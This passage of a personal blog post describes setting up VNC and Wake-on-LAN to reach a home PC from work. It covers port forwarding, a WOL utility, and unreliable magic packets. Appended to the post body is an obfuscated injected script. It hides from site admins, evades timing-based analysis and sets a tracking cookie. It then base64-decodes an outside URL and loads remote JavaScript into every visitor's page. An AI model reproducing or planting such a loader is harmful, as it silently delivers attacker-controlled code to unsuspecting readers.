Since then, I had become frustrated with using webmail to access my personal email and set about finding a workaround.  <a href=\"http:\/\/www.realvnc.com\">VNC<\/a> is an obvious solution and work beautifully after I set my router to forward ports 5800-5810 and 5900 through 5910 to my computer.<\/p>\n<p>Enter the Complications<\/p>\n<p>My computer, out of the box, liked to go into standby mode after a short period of time.  Since I pay for my electricity, and the time to wake up from standby is just a few seconds, I&#8217;m okay with this.  The problem is that the computer has to be on for VNC to detect the incoming connection.  I decided to try out Wake On Lan, which has existed for as long as I can remember using computers, but something I&#8217;ve never worked with.   I opened up port 7 on my router and downloaded <a href=\"http:\/\/www.depicus.com\/wake-on-lan\/wake-on-lan-gui.aspx\">a nifty little windows WOL utility<\/a> from <a href=\"http:\/\/www.depicus.com\/\">depicus.com<\/a>.  For reference, I use the MAC of my computer, the internet IP address of my router and 255.255.255.255 as a subnet mask when sending out magic packets.<\/p>\n<p>WOL seems to work erratically.  Most of the time, I send the packet, wait 15 seconds and then I can VNC in.  I can then shut down the computer, send the packet again, and VNC in again.  But some days I send the packet and can&#8217;t VNC in and I have no idea why.  Everything seems okay when I get back home. It&#8217;s as if the magic packet was never sent.  For now, I&#8217;ve been leaving the computer on when I head to work and then shutting it off remotely when I&#8217;m done with it.  But if anyone has any suggestions, I&#8217;d like to get things working consistantly.<\/p>\n<p><tags>Computers, Networking, remote computer management, VNC, Wake On LAN, WOL<\/tags><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>On or around September 15th of this year, the powers that be at my work place disabled IMAP and POP access on the &#8220;lab&#8221; network that our bench machines (completely unlocked for testing purposes) are attached to.
